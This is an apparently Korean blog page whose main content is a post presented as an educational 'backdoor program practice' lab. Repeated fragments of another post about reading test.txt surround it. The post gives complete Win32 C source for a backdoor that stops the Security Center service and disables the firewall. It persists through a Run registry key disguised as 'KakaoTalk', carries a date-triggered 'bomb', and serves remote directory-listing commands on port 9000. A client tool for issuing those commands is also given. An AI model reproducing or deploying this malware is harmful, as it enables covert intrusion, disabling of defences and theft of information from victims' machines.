test.txt 라는 파일이 있다면 내용을 읽어와서 출력을 하고
만약 없다면 종료시키는 프로그램의 코드이다.
디버깅 한 곳에 먼저 test.txt 파일을 생성해놓자.
안에 내용도 적절히 써준다.
프로그램을 실행하면 test.txt 파일을 찾아서 안에 내용을 출력하여준다.
'운영체제<구축,해킹,보안> > WIN32' 카테고리의 다른 글
[WIN32]백도어 프로그램 실습 (0) | 2018.05.29 |
---|
test.txt 라는 파일이 있다면 내용을 읽어와서 출력을 하고
만약 없다면 종료시키는 프로그램의 코드이다.
디버깅 한 곳에 먼저 test.txt 파일을 생성해놓자.
안에 내용도 적절히 써준다.
프로그램을 실행하면 test.txt 파일을 찾아서 안에 내용을 출력하여준다.
[WIN32]백도어 프로그램 실습 (0) | 2018.05.29 |
---|
*악성코드의 원리와 이해를 돕기위해 교육목적으로 작성된 포스팅입니다.
꼭 자신의 교육 환경에서 사용하시길 바랍니다.
후에 발생한 사고는 저의 책임이 아닙니다.
솔루션 (오른쪽클릭)-속성 -일반-문자집합을 사용안함으로 설정해야 에러가 나오지 않음.
//server ,서버는 win32 콘솔 프로젝트 말고 나머지 1개로 설정..(기억이 잘안남)
#include<winsock2.h> // windows.h 포함
#pragma comment(lib,"ws2_32.lib")
void RegisterStartProgram() {
HKEY hKey;
char cur_path[255];
DWORD dwDisp, dwSize;
if( RegCreateKeyEx(HKEY_LOCAL_MACHINE, //시작프로그램 등록하기 위해서 run 키 열기
"Software\\Microsoft\\Windows\\CurrentVersion\\run",
0, NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
NULL, &hKey, &dwDisp) != ERROR_SUCCESS) {
RegCloseKey(hKey);
//return false;
}
GetModuleFileName(NULL, cur_path, MAX_PATH);//자신의 파일명 알아오기
dwSize = strlen(cur_path);
if( RegSetValueEx (hKey, "KakaoTalk", 0, REG_SZ,
(LPBYTE)cur_path, dwSize ) != ERROR_SUCCESS) {
RegCloseKey(hKey);
//return false;
}
RegCloseKey(hKey);
RegFlushKey(hKey);
}
void bomb(){
SYSTEMTIME systime1;
while(1){
GetSystemTime(&systime1);
if(systime1.wYear == 2018 && systime1.wMonth == 8 && systime1.wDay == 2){
WinExec("calc.exe", MB_OK);
}
Sleep(5000);
}
}
void AttackCommandRun(SOCKET *sock1){
int retval=0;
char buf[MAX_PATH];
char *cmd1, *arg1;
char file_list[1024]="\0";
HANDLE hFile;
SOCKET sock2= *sock1;
while(1) {
retval = recv(sock2, buf, sizeof(buf), 0);
int ret = WSAGetLastError();
buf[retval]='\0';
cmd1=strtok(buf," ");
arg1=strtok(NULL," ");
if(lstrcmp(cmd1,"dir") == 0){
lstrcat(arg1, "\\*");
WIN32_FIND_DATA file_info;
hFile=FindFirstFile(arg1,&file_info);
wsprintf(file_list,"%s\n%s",file_list, file_info.cFileName);
while (FindNextFile(hFile,&file_info) !=0 ) {
wsprintf(file_list,"%s\n%s\n",file_list, file_info.cFileName);
}
retval = send(sock2, file_list, strlen(file_list), 0);
}
}
}
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance, LPSTR lpCmdLine,
int nShowCmd )
{
WinExec("sc stop wscsvc", SW_HIDE); //보안센터 서비스 끄기
Sleep(3000); //서비스 꺼질떄까지 잠시 대기
ShellExecute(NULL, "open", "netsh", "firewall set opmode disable",NULL, SW_HIDE); //방화벽 끄기
Sleep(3000); //방화벽 꺼질 때까지 잠시 대기
RegisterStartProgram(); //시작프로그램 등록하기
HANDLE hThread1;
hThread1=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)bomb, NULL, 0, NULL);
//WaitForSingleObject(hThread1,INFINITE);
int retval;
WSADATA wsa;
if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) // ws2_32.dll 초기화
return -1;
SOCKET tcp_sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN serveraddr;
ZeroMemory(&serveraddr, sizeof(serveraddr));
serveraddr.sin_family = AF_INET;
serveraddr.sin_port = htons(9000);
serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);
retval = bind(tcp_sock, (SOCKADDR *)&serveraddr, sizeof(serveraddr));
retval = listen(tcp_sock, SOMAXCONN);
SOCKET client_sock;
SOCKADDR_IN clientaddr;
int addrlen;
char buf[10];
HANDLE hThread2;
while(1){
addrlen = sizeof(clientaddr);
client_sock = accept(tcp_sock, (SOCKADDR *)&clientaddr, &addrlen);
hThread2=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)AttackCommandRun,
&client_sock,0,NULL);
}
return 0;
}
//tool.cpp ,툴은 WIN32콘솔 프로젝트-빈프로젝트로 제작
#include<winsock2.h>
#include<stdlib.h>
#include<stdio.h>
#pragma comment(lib,"ws2_32.lib")
int main(void) {
int retval;
char totcmd[MAX_PATH], cmd1[10], arg1[MAX_PATH], buf2[1024];
char backdoor_ip[16];
printf("Input Backdoor IP: ");
scanf("%s", backdoor_ip);
WSADATA wsa;
if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return -1;
SOCKET tcp_sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN servaddr;
ZeroMemory(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(9000);
servaddr.sin_addr.s_addr = inet_addr(backdoor_ip);
retval = connect(tcp_sock, (SOCKADDR *)&servaddr, sizeof(servaddr));
while(1){
printf("Input Command: ");
scanf("%s %s", cmd1, arg1);
if(lstrcmp(cmd1, "dir")==0){
wsprintf(totcmd, "%s %s", cmd1, arg1);
retval = send(tcp_sock, totcmd, strlen(totcmd), 0); //명령어 전송
retval = recv(tcp_sock, buf2, sizeof(buf2), 0);
buf2[retval]='\0';
printf("File List: %s \n", buf2);
}
}
return 0;
}
둘다 디버깅을 하고 back_srv를 먼저 켜준다.
작업관리자에 back_srv2.exe가 올라온것을 확인한다.
그다음 tool을 사용한다. back_srv가 실행된 곳의 ip를 입력한다.
지금은 혼자 서버열고 혼자 툴을 킨 상태이므로 자신의 ip를 입력한다.
ip를 입력하여 커맨드를 입력한다
dir c:\\windows 는 windows 디렉토리에 있는 모든 파일을 보여달라는 명령어다.
모든 dir이 표시된다. 이런 방식으로 명령어를 입력하여 정보를 빼올 수 있다.
[WIN32]파일이 존재하면 파일내용을 출력하는 코드 (0) | 2018.05.29 |
---|